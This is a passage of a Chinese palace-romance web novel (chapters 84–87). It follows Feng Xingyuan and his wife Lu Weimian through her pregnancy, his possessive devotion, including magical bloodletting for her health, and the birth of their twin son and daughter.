“亲爱的。”封行渊没有再隐瞒什么,“类似于中原的,卿卿。”鹿微眠这才想到,那天她是对着斯图说了一句“阿斯喀”。难怪她总觉得斯图看她的眼神不太一样。 不过看刚刚婆婆的状态,好像对陌生人说阿斯喀也是一种表达热情的说法。应当没有太奇怪。 “你为什么不早告诉我?” 封行渊唇角带着似有若无的笑,“早告诉你,你就不跟我说了。” 鹿微眠又追问,“那萨伊曼呢?”封行渊看着她,“我永远爱你。” 鹿微眠被他灼热的视线触碰着,抿唇勒紧缰绳调转方向。她沉默了片刻,故作轻松道,“你要是想听我说,可以告诉我。” 封行渊跟上前,“你会说吗?” “或许呢。” 封行渊看着她,“那我想听。” “听什么,”鹿微眠眨了下眼睛,“我永远爱你吗?” 这句话对于封行渊来说的诱惑力太大,他轻而易举地被勾住,催马过去,“对。” 鹿微眠笑着转身,"可我刚刚已经说了。"封行渊无声轻笑,也不难为她,“好,你说了。”鹿微眠扬鞭催马,嗓音拖长,“我说过很多遍啦。” 她的身影与原野山间的粉芙蓉交融。声音回荡在辽阔山野间。 “封轸,我永远爱你。” 封行渊停滞在原地,耳际不断地回荡着她的声音。不远处天光与她身上的细碎光点映入眼底。 他想,他恐怕这辈子都无法再逃出她的链笼。 84、第84章养崽崽... 八月秋高气爽,西行归京的队伍度过嘉峪关歇脚。顺路暂代朝廷查验边关驻守的情况。 嘉峪关城门高耸,气势巍峨,城墙高塔之后是层峦叠嶂的山峦与戈壁。秋日清凉,孤雁盘旋。 听闻队伍将要抵达,嘉峪关的驻守将军府早早地准备相迎。严将军手持长枪站在入关城门口等候。 到底是要见人,鹿微眠也不得不早起,坐在马车里梳妆。封行渊不肯让暮云进来帮忙,就自己坐在她身后,打理着她的头发。 鹿微眠也不知怎么的,最近格外困。她困顿地涂胭脂水粉,与他交代着,“你若是不会,一会儿得叫暮云进来。” 封行渊抬眼,顺着对面的镜子多看了鹿微眠两眼。他莫名觉得鹿微眠气韵越来越好了。 眸底一汪剪水,面若桃花,唇红齿白,肤质欺霜赛雪。正经梳妆后,就愈发潋滟生色。他摆弄着她的头发,缠在自己指尖,“见他们不必这般认真。” “那可不行。”鹿微眠只要是见客都是认真的。 封行渊感受着她柔软的发丝将他五指铺满,指缝里都被细细缠绕着。不想给旁人看。 很烦。 封行渊时常会因为鹿微眠需要见许多人,而发疯发狂。但又不好让她知道自己这般小心眼,小心眼到只想把她藏起来,只能见他一个人。 好不容易离开了西陵,给那几个首领促成满意的亲事,又是一个嘉峪关。封行渊早年在西部军营,与嘉峪关的人很熟。 怎么说呢,这里是边防驻扎要地。简而言之——男人多。 军中又忌女色。这群几年不见女子、又血气方刚的男人,要见他夫人。封行渊怎么想怎么不高兴。 他坐在她身后,直勾勾地看着镜子里正在描眉的人。眸色沉郁。 大概是这视线中的占有欲过强,鹿微眠很难不注意到,从镜子里与他对视。对视的一瞬,封行渊从她身后圈住她,轻吻她颈间,“不见他们好不好?” 鹿微眠颈间发痒,缩了缩脖子,“不行。”"咱们途径嘉峪关也不是来玩的,本身就是要巡视边防的,我得见他们。" 封行渊的吻重了几分,鹿微眠感觉到被含住的麻痒时,先一步察觉到他的意图,“你不能亲出痕迹来……” 鹿微眠捂住脖子,心知他是不打算好好干活的,“你去换暮云进来。” 封行渊的小阴谋被识破,"我才不出去。" 他将暮云叫进马车,自己就坐在后面的软榻上,看着暮云给鹿微眠梳妆。 封行渊在这里让暮云非常拘谨不安。 鹿微眠大抵也受不了他这般如狼似虎的眼神,“你把眼睛闭上。”封行渊倒是听话。 暮云缓了一口气,手上麻利地帮鹿微眠盘好头发,离开了马车。 这会儿距离到嘉峪关还有小半个时辰,鹿微眠只剩下口脂还没涂。她思索着是现在涂还是快到了涂。 犹豫间隙,鹿微眠抬眼看封行渊,发现他还闭着眼睛,看起来仿佛睡着了一般。鹿微眠起身凑上前他也没有反应。 她小声嘀咕,“是睡了还是没睡啊。” 鹿微眠判断了一会儿,渐渐地玩心大起,她沾着手中的口脂盒,将那抹艳红色小心翼翼地涂上了封行渊的唇。 他肤色偏白,口脂涂在他唇间不仅没有违和感,反倒让他更添几分邪佞的妖冶气息。像是刚刚吃过小孩。 也是,封行渊整个人的气场都偏邪气,就是这张脸生得单纯无辜了些。 口脂增色,恰好就掩盖住了他表面的干净纯良。 鹿微眠心下一阵唏嘘,又将他的唇涂得更红一些。 不成想,封行渊忽然间睁开眼睛,他眸底血痣带出更加妖冶危险的光。鹿微眠做坏事被抓个正着,眼睫颤了颤,“你醒啦?” 不等她收手,封行渊先一步抢走了她手里的口脂盒,“啪嗒”一下扣上,“夫人在干嘛?” 鹿微眠忙伸手去抢,“你还我。” 封行渊身形占优,轻轻一举,鹿微眠就够不着,抢东西让她不得不都朝他扑过去。意识到这样过去还是自己吃亏,鹿微眠止住动作,坐在他身前,“还给我嘛。” 封行渊轻“啧”一声,“不许撒娇。”鹿微眠尝试与他打商量,“快要到了,我还没涂口脂。” 封行渊眉梢微扬。鹿微眠隐约觉得,他那一肚子坏水又开始冒泡泡。果不其然,下一瞬,封行渊直接将她的口脂盒从窗口扔给了外面的凌双。 “你……” 封行渊就靠在旁边,好整以暇地看她,“这不是给我涂上了吗。”他眸底流光溢彩,“自己来蹭?” 鹿微眠不太确定他说的是什么意思,犹豫着伸手想要去蹭点,却被他抓住双手。不准她用手。 封行渊眼底噙着似有若无的笑,意思十分明显。鹿微眠浑身都烧了起来,但眼下只能倾身凑过去,用唇去沾染他唇间的口脂。 柔软唇瓣轻轻翕动,蹭了两下那抹艳红。封行渊的眸色瞬间暗了下去,抓住她手腕的大手上滑,按住她的后脊将人压到身前。 将她揉进骨血,将唇间红润尽数偿还给她。 * 嘉峪关外的戈壁与天空的交界之处缓慢出现了旌旗。将领部下连忙喊着,"来了来了。" 众人纷纷起身,看着那队伍由远及近。走到他们面前时,严将军上前相迎。 车马队伍停下,凌双掀开帘子,封行渊顺势从马车内出来,伸手将后面的鹿微眠接了下来。 关外兵马齐齐行礼,眼尾余光瞥见那位国母娘娘脸上带了个面纱。露出的半张脸也是清丽脱俗。 鹿微眠没有办法,口脂被亲花了。她不想一下车就被人看到她晕出来的口脂,知道他们在车上做了什么。她严重怀疑封行渊是故意的。 好在眼下并没有人注意到这些,毕竟大漠风沙严重,来往过路人带面纱的也有许多。 封行渊示意他们起身,严将军上前,"二位路上辛苦,还请随我入关下榻休息。" 鹿微眠简单道了声谢。 嘉峪关内的小城很是鲜活舒适,他们临时住在将军府大院里。 严将军大抵是早早就把府苑收拾过一番,等候他们前来。 小院子规整利索,他们住起来完全足够。 晚膳严将军招待过后,鹿微眠就有些乏累。封行渊去洗沐,她独自坐在床榻边,按了按自己的腰,腰身处蔓延开很轻微的酸胀感。 不止如此,鹿微眠偷偷看了一眼自己的胸口。这里也开始发胀,胀得酸疼。 她松了松小衣的绳带,正好封行渊沐浴出来。鹿微眠立马遮遮掩掩地装作在整理寝衣。 封行渊敏锐地察觉到她的小动作,“怎么了?”“没怎么。”鹿微眠盘算着日子,“我大概是要来月事了。” 封行渊一下子就知道她是哪里不舒服,视线落在了那个位置,问她,“胀吗?” 鹿微眠心跳快了一拍,吭吭哧哧地承认,“有点。”其实她很久没有来月事胸口发胀了,这次也不知是怎么回事,“兴许是这阵子赶路有点累,月事也推了几日。” 封行渊敛眸,手指指环被他下意识拨出利刃,对准自己的手腕。 鹿微眠忙按住他,“不用,我多休息休息就好了。” 封行渊看了她一会儿,“用血,还是用我,选一个。”鹿微眠唇线绷直。深知他说的用他是什么意思。 从前也不是没有过,她来月事胸口发胀,他帮她疏通经脉气血。实在是太令人难为情。 但相比之下,鹿微眠觉得因为这么点事,让他在自己身上划一刀也挺不值得。 鹿微眠踟蹰着,“用你。” 封行渊将指环取下,放在旁边。 鹿微眠小声提醒他,“只是通气血。”封行渊将她小衣取下,修长手指按住她身体经脉之处,“不然夫人还想做什么?” 鹿微眠垂着眼帘不说话。封行渊看着她被他触碰过的地方再度开始变得红润。他还是有分寸的,不会在她气血亏虚的时候做过激的事情。 况且她要来月事了,封行渊想,大不了忍个七八日就能过去。很快的。 封行渊疏通气血的手法跟着医书学过,很是管用。鹿微眠身上轻松了许多,这一晚睡得也很沉,第二日午时才起来。但用过午膳又困了。 鹿微眠撑着没有再睡,只是午后随他们在城墙上闲逛之时,一个接着一个的打哈欠。 鹿微眠不好失态,只能压着,压得她整个人眼泪汪汪。 暮云发觉不对劲,“娘娘累了吗?”鹿微眠由她扶着,“是因为天冷了吗,我最近好困。” 暮云也不好解答,“不然叫郎中来看看吧。”“睡得多了叫郎中有些小题大做,”鹿微眠没放在心上,“春困秋乏也是正常,嘉峪关这里都是军医,我就不给他们添麻烦了。” 暮云问,“还有其他不舒服的吗?”"那倒没有。”鹿微眠缓了缓,她本来就爱睡觉,“应当不是什么大事。" 队伍在嘉峪关停留三日后,启程返京。 入关后的路程顺遂很多,距离长安也不算远,约么半个来月的脚程。 这半月鹿微眠每日吃了睡、睡了吃。但人还是懒洋洋的,月事也一直没来。 胸口发胀的感觉时不时侵袭着她。鹿微眠不好意思每日都叫封行渊帮她,况且胀得也不算太难受,就是总觉得怪怪的。 临到长安前几日,鹿微眠与封行渊下车在沿路行宫休息,她忍不住提起,“等过两日回家,我想找郎中帮我看看。” 封行渊凝眉,伸手接她下来,正要说什么。 鹿微眠却忽然间踩空了脚蹬,眼前一黑,径直晕了过去。 85、第85章养崽崽... 行宫门口骤然响起一阵惊呼。 周围服侍的宫人接二连三的上前,“娘娘”“御医”地喊个不停。 在鹿微眠跌下来之时,封行渊迅速接住了她。结实的手臂穿过她的腿弯,径直将人抱起,大步流星地往行宫内走,嗓音沉厚急促,“传御医。” 宫人连忙应声,去喊行宫内安置的御医。 行宫大殿早在他们抵达之前就收拾妥帖,宫人将殿门推开,看着封行渊将昏过去的人抱进宫殿,在一旁急忙备水,升暖炉。 殿门口宫人来来往往,神色匆匆,俨然有些手忙脚乱。任是谁也没想到国父国母甫一返京就会出这般状况。 封行渊将人放在内殿软榻上,眉头紧锁,紧盯着失去意识的鹿微眠。伸手握住她的手腕,“她最近可与你说,有不舒服的地方?” 暮云站在一旁,焦急地看着,“不舒服倒是没有,娘娘这阵子就是爱睡觉,犯懒。” 封行渊只能辨别她身体有没有中毒之兆,但眼下她体内也没有云涎香残留。不像是云涎香的毒性促使她多眠。 起先他们都只是以为这路途颠簸,人在马车上待久了乏累也是正常。眼下怎么就突然晕过去了。 暮云想着,“许是娘娘才睡醒,没用早膳?” 行宫内的御医闻讯赶来,走到内殿与他们行礼,“国父……”封行渊不等他说完,“过来看看。” 御医答应着起身上前。封行渊让开了一个位置,坐在床榻边。 御医按着鹿微眠手腕脉象。屋内一时间寂静无声,周围下人大气也不敢喘一口,时时谨慎地盯着鸾榻上的鹿微眠与一旁面色阴郁的封轸。 生怕这会儿自己做错事情,触了这位国父的霉头。御医诊脉的时间有些长,间或蹙眉沉思。 还是封行渊先忍不住询问,“如何?” 御医并没有第一时间回答,又确认了一番才敛起神色起身,看起来轻松许多。他朝封行渊行礼,“恭喜国父大人。” 冷不丁一声恭喜,让封行渊没有反应过来,剑眉紧蹙。都这样了,还有什么好恭喜的。 御医下一句,“娘娘已有两月身孕。”一句话如同晴天霹雳。封行渊愣在原地,“身孕?”殿内众人皆是一愣,而后齐齐下跪贺喜。接二连三的恭贺声吵得封行渊耳根发麻,一颗心沉入谷底,久久未曾说话。 * 鹿微眠再度醒来时,殿内清静非常。她思绪混沌,恍惚中分辨不出来自己这是在哪。只是口中还有些苦药味道,夹杂着一丝熟悉的腥甜和……锈气。 一旁暮云看见鹿微眠醒过来,喜上眉梢,“娘娘醒了。” 她上前将鹿微眠扶起来。 鹿微眠撑着身子,"我刚刚是喝了什么?" 暮云停顿了一下,小声道,“安胎药。” 鹿微眠瞬间从迷蒙中清醒过来,“安胎?” 暮云弯起眼睛,“娘娘还不知道吧,你有身孕两个月了。” 鹿微眠以为自己听错了,重复一遍,"我有身孕了?" 她有些不真实感,茫然地看了看自己的小肚子,“真的啊。” 但眼下根本看不出什么来。 "御医来过了,千真万确。”暮云将温好的晚膳拿过来,“方才给娘娘喂过甜汤了,但到底还是需要吃点东西补一补的。" 鹿微眠还没有回神。 她下意识地伸手摸了摸小腹的位置,还是觉得有些神奇。 她有孕了? 这里……有个人。 鹿微眠想起来,“封行渊呢。” “大人刚刚还在,后来跟着御医出去了,大抵是问事情呢。”暮云问她,“要不要奴婢把大人叫进来。” “不急。”鹿微眠只是很不适应,"那,那我刚刚喝的药里面,只有药吗?"暮云没听懂,“是御医开的方子,大人盯着煎出来的。” “他盯着的……”那鹿微眠就能明白,那药中的甜腥锈气是哪里来的了。 正巧这时,屋外传来脚步声。鹿微眠抬头,正好与外面走进来的男人对视。 封行渊并不敢看她的眼睛,状似平静地踏进房中。见封行渊来了,暮云便起身给他让出位置,寻了个借口离开房间。 封行渊坐在鸾榻边。 内殿寂静无声,谁也没有说话。 鹿微眠只是盯着他藏在袖子里的手腕,在他坐过来时开口,“我看看你的手腕。” 封行渊故作平静地将右手伸过去,"怎么了?" 鹿微眠却道,“另一只。”这次他没有伸手,"先用膳吧,你想吃什么。"鹿微眠先一步拉开了他左手的袖子。果然看到了手腕上缠着的包扎带,白色布帛下面隐隐渗着血痕。封行渊按住她的手,低着头沉默很久后才开口,“抱歉。”鹿微眠视线从包扎带上移开,“抱歉什么?”封行渊看着她小腹的位置,"我以为挖出来就不会有了。"所以他每次都清理的很干净。但是没想到…… 鹿微眠捧住他的脸,"本来就不是这样的啊。"但是她一直懒得制止他。鹿微眠从来不想刻意地让什么事情发生,什么事情不发生。和他有关的事情,顺其自然就好,全是缘分。有就有,没有也就罢了。封行渊凝神沉默良久,“难受吗?”"现在还没有。"若是真的很难受,他们也不至于现在才发现。 “方才问了御医,说了一些日后可能会有的症状。”封行渊话说得很认真,“若是难受,我们就不要。” 鹿微眠看起来,反倒比他要轻松一些,悠然无比,“那就要看你的崽表现如何了。” 封行渊的确比她紧张。这是鲜少的超出他控制之外的事情。孩子在她那里,如何反应不受他掌控。 他既不想让鹿微眠难受,又很是诡异的觉得,若是这个孩子比他还听话,还会讨鹿微眠欢心,那还了得。 鹿微眠有孕倒是睡得很安稳。封行渊完全睡不着。 鹿微眠睡得迷迷糊糊间,感觉到一只大手覆盖在她的小肚子上,将她圈进怀里。熟悉的声音很轻地问,“有他还爱我吗?”他身上滚烫的热气熨帖着她。鹿微眠秀眉轻蹙,半梦半醒地回了一句,“小疯子。” “你也要爱他。”鹿微眠枕在他手臂上,“这是我们的宝宝。” 封行渊对这种关系不太熟悉,但是对鹿微眠说的“我们”很熟悉。什么东西一旦沾上了“我们”,就变得不太一样。 是他们两个人的。 有些奇妙。 行宫到底不如家里方便。鹿微眠在行宫歇了几日,情况稳定了便启程回长安。 为了避免其他惊扰,他们先回了自己的宅院让鹿微眠静养。她有孕的事情也没有告诉过多的人,只是告诉了鹿司空一家。 两家挨得近,鹿司空和叶绾也时常过来照顾着。叶绾担心的是鹿微眠气血不好,孕中身体损耗会不会太大。但鹿微眠的胎象一直很稳,没有什么大问题。 鹿微眠知道这是得益于什么。 封行渊的手腕上每天都会有新的疤痕。 她难得严肃起来与封行渊说,“你不能每日都这样。” 封行渊满不在乎,“我好得快。”“不行。”鹿微眠言辞坚决,“你若是这样,我就回家住。” 封行渊靠坐在旁边,手指轻点桌案,"那以后两日放一次血。"鹿微眠不松口。 “三日。” 她依然不答应。 僵持良久,封行渊也坚决了起来,“七日,不能再多了。” 鹿微眠蹙眉,"我不用你的血,也能好好养的。"封行渊理所当然道,“但我又没办法养他,只能养好你的身体。” 鹿微眠还是不太能理解封行渊的想法,“我的身体也不一定非得要你……”封行渊肯定道,“要我。” “罢了。”鹿微眠拗不过他,径直起身,往门外走。封行渊叫住她,“你去哪。” “快到重阳夜宴了,我去宫里陪春莺。”鹿微眠说完,径直叫了车马准备入宫。封行渊跟着起身,“生气了?” 鹿微眠不说话,站在门口等车马,但生气的样子格外明显。其他事情封行渊都能听话,这件事情他不想退让,明明他的血就是最好的补品,为什么不用呢。他不理解,他自己留着也没用。 “生气了,你该叫我走。”封行渊识趣的出门,“不是自己走。”他提醒着,“我走了,你就别生气了,但是补药还得喝。”鹿微眠掀起眼帘看他。她有时真想把他的脑袋掰开看看里面都装了什么。车马到门口。鹿微眠上车入宫。 除了想要暂时缓一缓之外,重阳夜宴春莺也的确需要帮忙。重阳宴按理说应该是春莺与朝中的女眷交流沟通,巩固前朝,问题就在于春莺不会说话。而且她也没有与那些诰命夫人打交道的经验。 这些还是鹿微眠更熟悉一些,作为当今陛下的义母,她出面也合情合理。春莺派人来请过她很多次了。只是那阵子她还不满三月。 封行渊走到一半,以为鹿微眠该消气回府了,转头看见车马朝皇宫的方向启程。“还真走了。” 封行渊觉得难办。 马车入宫,春莺早早得了消息来迎她,像是看见了自己的大救星一般。鹿微眠一下车,春莺就拉着她不松手,眼睛时不时看向她的小肚子。 日子过了三个月,便能往外说了,只是没有公之于众,宫里只有慕景怀和春莺知道。鹿微眠瞧她的眼神,知道她什么意思, “一切都好。” 坐下来,春莺才得空比划,“它可还乖?”才三个月,鹿微眠其实都不太显怀,"它是挺乖的,它爹不是很乖。" 春莺问,“吃饭可还好?” 鹿微眠点头,“挺好的。”实际上,她恶心反胃的情况也没太有,她的胃口倒是没有因为有孕受影响,反倒封行渊时常食欲不振。听御医说,有部分丈夫会在妻子有孕期间,产生类似的反应。 想起封行渊,鹿微眠就暗自叹了一口气。 春莺敏锐地捕捉到,好奇地看她。鹿微眠不好跟他们说封行渊那偏执古怪的行径,“不提他了,我正好来宫里躲一躲清静。”那个小疯子也能少划自己两刀。 春莺本想让鹿微眠先休息休息,毕竟距离重阳夜宴还有几日。 但正好鹿微眠这阵子在屋子里呆得人都要发霉了,就直接与春莺看着重阳夜宴的宴请女眷名册。与春莺讲着京中女眷之间的牵连关系。 等她回到兴庆宫已经是用过晚膳入了夜。 一推开门,鹿微眠径直看见封行渊坐在罗汉床边,手肘撑在小几上,手指抵着额角,他故作不经意道,“哟,真巧。” 鹿微眠都不好意思戳穿他,"怎么,你也不小心来了宫里?" “早知你也来宫里,我就不来了,免得有人看见我生气。”封行渊漫不经心地将视线从她的小腹挪到了她的脸上,“再气坏了我的宝宝。”不知是在说哪一个。 86、第86章养崽崽... 鹿微眠轻哼,“我一早就跟你说过我进宫。”封行渊起身,朝她走过去,“有吗?” 鹿微眠避开他,“既是不小心撞上,那你现在走还来得及,我要休息了。” 她说着往屋子里走。 封行渊恰好挡在她面前。 鹿微眠尝试绕过去,都被他挡住。 她抬头看着他,“你挡我路了。” “这也是我的路。”封行渊提步往前走。 二人之间的距离又进一步,鹿微眠鞋尖被撞到,下意识后退。 但封行渊没有停,垂眸看她,顺势伸手。鹿微眠被带得踉跄几步后退到了一旁的桌子上。 封行渊一只手按在她的腰上,一只手撑在桌子旁,“还生气啊?” 鹿微眠进退不得,唇线绷直迎上他的视线。 对视片刻,封行渊低头吻她唇角。鹿微眠躲开,无奈道,“我是不想你总这样伤害自己。” 封行渊停顿了一下,“可是我除此之外,没有能代替你做的事情。”他垂下头,就这样埋在她的肩窝,声音很低,“你答应,我还能轻松一些。” 呼出的热气侵染着她,磁音随着他唇在她颈间轻震,震得她骨缝发麻。 鹿微眠轻轻缩了下肩膀,很久没有说话。 她意外地发现只是因为他这样与自己说话,她尾椎都开始发酥。身体反应很快。好像是孕后就变得格外敏感。 这让鹿微眠有些窘迫,忘记回答他的问题。 封行渊没有听到回答,将人抱上桌子坐着,压在她颈间与她打商量,“七日取一次,对我没有什么影响。”他承认他有些病态的想法,总觉得获得什么,都需要疼痛作为代价。否则他会不安。 封行渊固执道,“答应我。”鹿微眠磨不过他,长叹了一口气,默许了他的行为,“你先放我下去。” 封行渊清楚她这是松口的意思。心下浮起些轻松感,并没有放她下去,而是俯身继续刚刚那个没有达成的吻。确认她真的不再生气。 鹿微眠心口噗通一跳,偏头躲他。这个时候不能亲。 她腰腹升起微妙的酸麻,膝盖想要顶开他堵在桌边的腿,但是被他压得结实,就变成了蹭动。 封行渊被她躲了几次,许久的渴望得不到满足就变得愈发强烈。他握住她的下颚,"为什么躲我?" 鹿微眠腰软得说不出话来,欲言又止。眼尾因为窘迫变得湿润泛红。 徒增潋滟光景。 封行渊看着她的反应,喉结轻滚了一下。 屋内寂静片刻。 这古怪的安静却让温度悄无声息地攀升。 仿佛是她隐藏的身体异样要被人发现。鹿微眠闹着要下去,“你让开些,我要去沐浴了。” 封行渊没让,只是这么看着她,又继续问着,“为什么躲我啊?”鹿微眠胡乱编了个借口,“没有躲你,我是想先去擦身。” 封行渊将信将疑地点头,“要不要我帮你?” 鹿微眠害怕他帮她,嘟嘟囔囔地,“不要你帮。” 万一没忍住怎么办。 封行渊打量着她,“你吻我一下,我就让你自己去。” 鹿微眠看了看他红润唇瓣,那张清俊的脸上自带诱惑力。 她仰起头碰了一下,不敢久留。封行渊弯唇,自觉地将人抱下来。 鹿微眠脱离了他的禁锢便松了一口气,也没有多说话,自顾自地往沐浴间走。 刚走到沐浴间,鹿微眠就听到了身后的脚步声。回头发现封行渊将沐浴间的门关上,“你不是让我自己…”封行渊扬眉,坏得理所当然,“让你自己来,没说我不跟来啊。” 鹿微眠想推他出去,扶到他手臂就被抓住。“谁教你吻,就是碰一下?”封行渊这些时日吃不到也就罢了,亲还一直躲他。他发现他又想咬她了。 想咬坏她。 咬坏到,她只能摊开身子乖乖地让他亲。封行渊摸着她的小腹,“他还没出来呢,阿眠就不肯吻我了。”“我哪有不肯。”鹿微眠羞于启齿她的身体反应,但是被封行渊先一步将她拉过。 就像是抓住一只小兔子的饿狼,她稍稍一挣扎,就被咬紧,让她被迫放松,由他胡作非为。略带粗暴的亲吻裹挟着长久不能抒发的欲-望幻想。 将鹿微眠身体那隐秘的小火苗再一次点燃。 果然如同她想得那样。这迫切的亲吻渐渐变得无法收场。 鹿微眠身上的衣物被一层层剥掉,扔在旁边。她的秘密被发现。 封行渊大抵是没想到,沉吟着地握住她的腿弯,“原来是怕被我发现,你很想我。”"想我为什么不说呢?" 他将她压在桌边,"阿眠有多想。"鹿微眠浑身涨红,微微仰头,“我们现在……” 封行渊好似也挣扎了一下。但这阵子以来,他忍了太久。 鹿微眠克制着不与他亲近,总会让他产生她不爱他了的错觉。 她有孕以后,封行渊的心态并不健康。患得患失的是他,忧思深重的也是他。 男人的声音愈发嘶哑,“御医说,三个月之后,好像可以了。”他小心翼翼地将她一寸一寸侵占,再度把她沾染上他的气息。把这只白白净净的小兔子弄脏,洗都洗不掉。 “鹿微眠,我也想你。”“很想很想。” * 天气转冷后,鹿微眠闲来无事就窝在躺椅上看书。墨宝时常跟个小护卫一般趴在鹿微眠的躺椅旁,谁过来都要警觉地打量一番。确认没有威胁,才继续趴回去。 墨宝自己也与她保持距离,只是会翘着小尾巴,时不时地用柔软的尾巴拂过鹿微眠的肚子。鹿微眠觉得有趣,怀疑这是墨宝在哄崽崽的方式。 鹿峥隔三差五地往他们院子里跑,来了就叽叽喳喳地告诉她,他又从街上淘到了什么新奇的小玩意。说是给小外甥准备的。 鹿微眠闲不住,也不好一直在房间里呆着。觉得闷了,就去宫中走动走动。或者约京中女眷出去闲逛。 封行渊知道她朋友多,可这会儿才发现不是一般的多。 约了褚楚,封行渊尚且劝慰自己那是医者,可以帮鹿微眠看看。约了明窈,封行渊想,人家怀过,兴许有经验。 然后是定了入赘亲事的谷歆月。国公府、太傅家。 姑且不算宫中的春莺。也太多了。 封行渊从前嫉妒过火,便等着在床笫间讨要回来。眼下他只能干嫉妒。 嫉妒得他要发疯。 即便是讨,凭借御医所说孕中可以的房事程度。 他根本出不来。 只能结束后,看着她凭借幻想消解一二。 封行渊偶尔会烦躁地想杀人。看鹿微眠跟别人出去,玩得乐不思蜀,杀心就起起伏伏难以压制。 但还是要表现出一副端庄大度的样子,哄她好好玩。 不过仔细想来,如果足月之后,是一个白白软软、哼哼唧唧的小鹿微眠。封行渊暴戾的心态能稍稍缓解一些,倒觉得这些不算什么。 都是为了小阿眠。 宫中慕倚风一岁半多,已经会走路了。说话偶尔能蹦出来几个音节,咿咿呀呀地要鹿微眠抱。 封行渊将他半路劫走,塞给慕景怀。鹿微眠偷偷看封行渊一眼,也就懒得管。 反正她会在封行渊不在的时候偷偷抱。 慕倚风情绪很稳定,被抱走不哭不闹,只是眼巴巴地盯着鹿微眠看。慕景怀抱着慕倚风开玩笑,“是弟弟还是妹妹啊,你这般喜欢。” 慕倚风发出了几个无意义的音节。也听不出来是弟弟妹妹,他眼下还不会说这些。 春莺比划着问鹿微眠,“你们是喜欢男孩还是女孩?” 鹿微眠思索片刻,“都好。”封行渊若有所思地看着。 书上说小孩能感应到孕中男女。慕倚风这般喜欢,应该是个小阿眠没错了。 最好是像她一样的女孩。 封行渊还记得鹿微眠小时候的样子。养一只小阿眠,他会原谅整个世界。 鹿微眠显怀之时,隐隐有些胎动,但是并不剧烈。封行渊偶尔帮鹿微眠涂药油的时候,会感觉到有人在踢他。 很新鲜的感觉。 他总会提醒里面的小东西,“乖一点。”鹿微眠笑道,“他又听不懂。” “能听懂。”封行渊试着里面的小家伙真的不动了。他悠然无比,颇为欣慰,轻轻点动着鹿微眠的孕肚,“像个小姑娘,善解人意。” 鹿微眠一早就能看出来封行渊想要女儿, "若是女孩子,你不要教她那些乱七八糟的东西,也不要让她学得太粗暴血腥。" 封行渊这阵子看了不少如何做一个慈父的书,“我知道,书上都有,要耐心,平和,以理服人。”封行渊又补了一句,“不能动手。” 但是只要一想到,一个小小的鹿微眠站在他面前。不用看书,他都知道怎么做慈父。怎么可能会动手打小孩。 封行渊对自己很有信心。 鹿微眠临产是春末四月,繁花锦簇、热烈茂盛的时节。府苑里外的人来来往往。 鹿微眠不让封行渊陪产,说是过于失态不准他看。 封行渊只能坐在屋外,告知屋内的稳婆有异常随时叫他,即便如此,他的手仍然紧紧地攥着座椅扶手。不多时“咔嚓”一声,扶手被他硬生生掰断! 凌双忍不住上前,“大人,换把椅子吧。”凌一戳他,小声嘀咕,“别换了,已经掰坏六个椅子了,咱们快没有椅子了。” 凌双抬头环顾四周,发现对面鹿司空坐的椅子都是封行渊已经掰坏的。 鹿瑜倒是不在乎什么椅子,只是一个劲地拿帕子擦汗,无比焦灼。叶绾在旁边来回踱步。 这样的氛围持续了一段时间,屋内忽然间响起了婴儿的啼哭声。 87、第87章养崽崽... 屋外等候的众人听见里面的声响,接连起身,面色焦急地上前。屋内稳婆收拾了片刻,始终不见人出来禀报。 叶绾站在门口看着里面的光影,也看不见什么。她复而折返回来,“怎么没人出来报信呢?” 众人心悬在了半空中,不上不下也没有着落。叶绾不放心,叫暮雨,“你进去看看。” 暮雨应声,正准备进屋,封行渊先等不及。 屋内婴儿啼哭的声音此起彼伏,越来越响。 封行渊大步流星地上前,“我去看看。” 说完先暮雨一步进了屋子。稳婆还没来得及收拾好,冷不丁见他闯进来还吓了一跳,“大人怎么进来了……” 屋内密不透风,有些许血腥气。而鹿微眠躺在一旁床榻上,整个人悄无声息。 封行渊心口一悸,快步上前,“不是说让你们有事情叫我吗?”他立马握住她的手腕,试着脉象。稳婆正要上前解释。 鹿微眠迷迷糊糊地拍了他一下,气若游丝,"别吵,好累。"封行渊一愣。鹿微眠自己拉好被子补眠。 封行渊手上空落,人也显得有点无措。稳婆笑着上前,“娘娘是累了,先让娘娘睡会儿。” 稳婆示意封行渊跟她过来,声音压低,“恭喜国父大人,是一对龙凤胎。”封行渊被带到一旁的摇床边,赫然看到了两个被包裹严实的宝宝。他一时间没有反应过来。 稳婆看起来也很是喜欢这两个孩子,“方才世子出来之后,我们还在等小郡主出来,等了一阵子才没有及时出去报喜。” 说完,稳婆让开了位置给封行渊。 两个孩子刚刚出世,区别不大。只不过一个红润可爱,像是一只小苹果。一个白嫩秀气,像是小青柚。 封行渊一打眼就看见了那个小苹果宝宝,悠然地想,这个就是小阿眠了。 稳婆适时出声,“这是小世子。”封行渊微微一顿,“男孩?” “是啊。”稳婆笑着,“小世子像娘娘。”“那……”封行渊看向那只青柚宝宝。稳婆补充,“郡主像您。” 封行渊:“….…?” 大抵是听到了他们的说话声,小苹果哼哼唧唧地躲进了襁褓中,嗓音软软糯糯。那只小青柚反倒是睁开眼睛……瞥了封行渊一眼,就别开头,哼都没哼一声。 封行渊的手在半空游移片刻。所以,哪个算是他的小阿眠。 稳婆将两个宝宝收拾好,抱出去给鹿司空和叶绾看。屋内封行渊抱上了已经睡着的鹿微眠,轻拍着她的脊背哄睡。 他看着她熟睡的眉眼和脸颊上细腻的绒毛。还得是这个小阿眠。 院子里一片喜气。鹿瑜笑得合不拢嘴,孙嬷嬷夸着两个孩子都跟鹿微眠小时候一样白净可爱。小郡主更是个美人胚子,有些清水出芙蓉的清丽之感。 商议后给两个孩子取了名字。小世子封倾时,小郡主鹿星晚。 他们都说谁像谁,鹿微眠反正是看不出来小孩子长得有什么区别的。太小了。 她都觉得有点像是小糯米团子,小小一只,五官都还没有长开。只不过有一个特别爱撒娇,动不动就往她怀里钻,贴着她。 另一个有样学样,也要钻过来。 鹿微眠起先是分不清谁先钻过来的。但是封行渊能分清,她通常会通过他辨别出来。 封行渊先拎走的是哥哥。先钻过来通常的也是哥哥。 封行渊几次与他进行交涉沟通,“你是一个男孩子,要知晓男女授受不亲,不能总往女孩子身上贴。”小倾时根本听不懂他在说什么,哼哼唧唧地去抓他的袖子。 鹿微眠忍不住出声,"他才一个月。"封行渊慢悠悠道,“道理是要从小教的。” 他抱着小倾时问他,“知道了吗?”小倾时发出了几个很软的音节,接着一头扎进了封行渊的怀里。 